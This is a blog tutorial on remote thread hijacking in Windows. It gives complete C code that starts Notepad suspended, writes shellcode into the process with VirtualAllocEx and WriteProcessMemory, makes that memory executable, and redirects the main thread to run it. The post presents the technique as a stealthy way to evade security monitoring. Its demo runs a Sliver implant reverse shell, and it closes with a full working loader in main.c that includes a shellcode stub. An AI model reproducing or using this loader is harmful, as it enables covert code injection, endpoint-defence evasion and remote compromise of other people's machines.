Post

Remote Thread Hijacking

Introduction

As we have seen in the previous demo, we demonstrated thread hijacking within our local process. Here, we have created a suspended sacrificial thread that can execute a payload using its handle. Now we are going to extend this to a remote process.

The key difference here is that we won’t create a sacrificial thread directly in the remote process. Though there are functions like CreateRemoteThread, which can achieve that, they are extremely monitored by security solutions and usually treated as malicious activity. Instead, we will create a sacrificial process in a suspended state using the CreateProcess WinAPI. This WinAPI initializes all threads in the suspended state. In this way, we can do thread hijacking stealthily and effectively.

Remote Thread Hijacking Steps

This section describes the series of steps necessary for thread hijacking of a thread residing in a remote process.

Leveraging the CreateProcess WinAPI

CreateProcess is a very powerful Windows API function that gives wide flexibility during the creation of new processes. Here is a summary of the most important parameters:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
  • The lpApplicationName and lpCommandLine parameters represent the name of a process and its respective command line arguments, For example, lpApplicationName can be C:\Windows\System32\cmd.exe and lpCommandLine can be /k whoami. Alternatively, lpApplicationName can be set to NULL but lpCommandLine can have the process name and its arguments, C:\Windows\System32\cmd.exe /k whoami. Both parameters are marked as optional meaning a newly created process does not need to have any arguments.
  • dwCreationFlags is the parameter that controls the priority class and the creation of the process. The possible values for this parameter can be found here. For example, using the CREATE_SUSPENDED flag creates the process in a suspended state.
  • lpStartupInfo is a pointer to STARTUPINFO which contains details related to the process creation. The only element that needs to be populated is DWORD cb, which is the size of the structure in bytes.
  • lpProcessInformation is an OUT parameter that returns a PROCESS_INFORMATION structure. The PROCESS_INFORMATION structure is shown below.
1
2
3
4
5
6
typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;        // A handle to the newly created process.
  HANDLE hThread;         // A handle to the main thread of the newly created process.
  DWORD  dwProcessId;     // Process ID
  DWORD  dwThreadId;      // Main Thread's ID    
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

Using Environment Variables

The last remaining piece for creating a process is determining the process’s full path. The sacrificial process will be created from a binary that resides in the System32 directory. It’s possible to assume the path will be C:\Windows\System32 and hard code that value, but it’s always safer to programmatically verify the path. To do so, the GetEnvironmentVariableA WinAPI will be used. GetEnvironmentVariableA retrieves the value of a specified environment variable which in this case will be “WINDIR”.

WINDIR is an environment variable that points to the installation directory of the Windows operating system. On most systems, this directory is “C:\Windows”. It’s possible to access the value of the WINDIR environment variable by typing “echo %WINDIR%” in the command prompt or simply typing %WINDIR% in the file explorer search bar.

1
2
3
4
5
DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize
);

Creating a Sacrificial Process Function

CreateSuspendedProcess will be used to create the sacrificial process in a suspended state. It requires 4 arguments:

  • lpProcessName - The name of the process to create.
  • dwProcessId - A pointer to a DWORD which receives the process ID.
  • hProcess - A pointer to a HANDLE that receives the process handle.
  • hThread - A pointer to a HANDLE that receives the thread handle.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR				    lpPath          [MAX_PATH * 2];
	CHAR				    WnDr            [MAX_PATH];

	STARTUPINFO			    Si              = { 0 };
	PROCESS_INFORMATION		Pi              = { 0 };

	// Cleaning the structs by setting the member values to 0
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the value of the %WINDIR% environment variable
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Creating the full target process path 
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,					// No module name (use command line)
		lpPath,					// Command line
		NULL,					// Process handle not inheritable
		NULL,					// Thread handle not inheritable
		FALSE,					// Set handle inheritance to FALSE
		CREATE_SUSPENDED,		// Creation flag
		NULL,					// Use parent's environment block
		NULL,					// Use parent's starting directory 
		&Si,					// Pointer to STARTUPINFO structure
		&Pi)) {					// Pointer to PROCESS_INFORMATION structure

		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE \n");

	// Populating the OUT parameters with CreateProcessA's output
	*dwProcessId    = Pi.dwProcessId;
	*hProcess       = Pi.hProcess;
	*hThread        = Pi.hThread;
	
	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}

Injecting Remote Process Function

The next step after creating the target process is to inject the payload using the InjectShellcodeToRemoteProcess function designed to . The payload is only written to the remote process without being executed. The base address is then stored for later use via thread hijacking.

The InjectShellcodeToRemoteProcess function performs the following tasks:

  • Allocates memory in a specified remote process.
  • Writes shellcode into that allocated memory.
  • Changes the memory protection to allow execution of the shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {


	SIZE_T  sNumberOfBytesWritten    = NULL;
	DWORD   dwOldProtection          = NULL;


	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);


	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}


	return TRUE;
}

Remote Thread Hijacking Function

After creating the suspended process and writing the payload to the remote process, the final step is to use the thread handle which was returned by CreateSuspendedProcess to perform thread hijacking. This part is the same as the one demonstrated in the local thread hijacking module.

To recap, GetThreadContext is used to retrieve the thread’s context, update the RIP register to point to the written payload, call SetThreadContext to update the thread’s context and finally use ResumeThread to execute the payload. All of this is demonstrated in the custom function below, HijackThread, which takes two arguments:

  • hThread - The thread to hijack.
  • pAddress - A pointer to the base address of the payload to be executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BOOL HijackThread (IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT	ThreadCtx = {
		.ContextFlags = CONTEXT_CONTROL
	};

	// getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

 	// updating the next instruction pointer to be equal to our shellcode's address 
	ThreadCtx.Rip = pAddress;
  
	// setting the new updated thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// resuming suspended thread, thus running our payload
	ResumeThread(hThread);
	
	WaitForSingleObject(hThread, INFINITE);
	
	return TRUE;
}

Conclusion

  1. A new process was created in a suspended state using CreateProcessA, which created all of its threads in a suspended state as well.
  2. The payload was injected into the newly created process using VirtualAllocEx and WriteProcessMemory but was not executed.
  3. Used the thread handle returned from CreateProcessA to execute the payload via thread hijacking.

Demo

This demo uses Notepad.exe as the sacrificial process, hijacks its thread and executes the sliver implant reverse shell:

Remote Thread Hijacking of Notepad.exe Hijacking Remote Thread within Notepad.exe process

Reverse Shell Received Reverse Shell connection from sliver implant

Final main.c project

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <Windows.h>
#include <stdio.h>

#define TARGET_PROCESS		"Notepad.exe"

unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, PAYLOAD HERE##
};

BOOL CreateSuspendedProcess(IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR					lpPath		[MAX_PATH * 2];
	CHAR					WnDr		[MAX_PATH];

	STARTUPINFO				Si = { 0 };
	PROCESS_INFORMATION		Pi = { 0 };

	// Cleaning the structs by setting the member values to 0
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the value of the %WINDIR% environment variable (this is usually 'C:\Windows')
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	
	// Creating the full target process path 
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	if (!CreateProcessA(
		NULL,					// No module name (use command line)
		lpPath,					// Command line
		NULL,					// Process handle not inheritable
		NULL,					// Thread handle not inheritable
		FALSE,					// Set handle inheritance to FALSE
		CREATE_SUSPENDED,		// creation flags	
		NULL,					// Use parent's environment block
		NULL,					// Use parent's starting directory 
		&Si,					// Pointer to STARTUPINFO structure
		&Pi)) {					// Pointer to PROCESS_INFORMATION structure

		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[+] DONE \n");
	// Populating the OUT parameters with CreateProcessA's output
	*dwProcessId	= Pi.dwProcessId;
	*hProcess		= Pi.hProcess;
	*hThread		= Pi.hThread;
	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;
	return FALSE;
}


BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
	SIZE_T	sNumberOfBytesWritten	= NULL;
	DWORD	dwOldProtection			= NULL;
	*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (*ppAddress == NULL) {
		printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\n\t[i] Allocated Memory At : 0x%p \n", *ppAddress);
	printf("\t[#] Press <Enter> To Write Payload ... ");
	getchar();
	if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
	if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	return TRUE;
}

BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT		ThreadCtx = {
			.ContextFlags = CONTEXT_CONTROL
	};
	// getting the original thread context
	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	 // updating the next instruction pointer to be equal to our shellcode's address 
	ThreadCtx.Rip = pAddress;
	// setting the new updated thread context
	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("\n\t[#] Press <Enter> To Run ... ");
	getchar();
	// resuming suspended thread, thus running our payload
	ResumeThread(hThread);
	WaitForSingleObject(hThread, INFINITE);
	return TRUE;
}

int main() {

	HANDLE		hProcess	= NULL,
				hThread		= NULL;
	DWORD		dwProcessId = NULL;
	PVOID		pAddress	= NULL;
//	creating target remote process (in suspended state)
	printf("[i] Creating \"%s\" Process ... ", TARGET_PROCESS);
	if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
		return -1;
	}
	printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);
	printf("[+] DONE \n\n");
// injecting the payload and getting the base address of it
	printf("[i] Writing Shellcode To The Target Process ... ");
	if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");
// performing thread hijacking to run the payload
	printf("[i] Hijacking The Target Thread To Run Our Shellcode ... ");
	if (!HijackThread(hThread, pAddress)) {
		return -1;
	}
	printf("[+] DONE \n\n");
	printf("[#] Press <Enter> To Quit ... ");
	getchar();
	return 0;
}
This post is licensed under CC BY 4.0 by the author.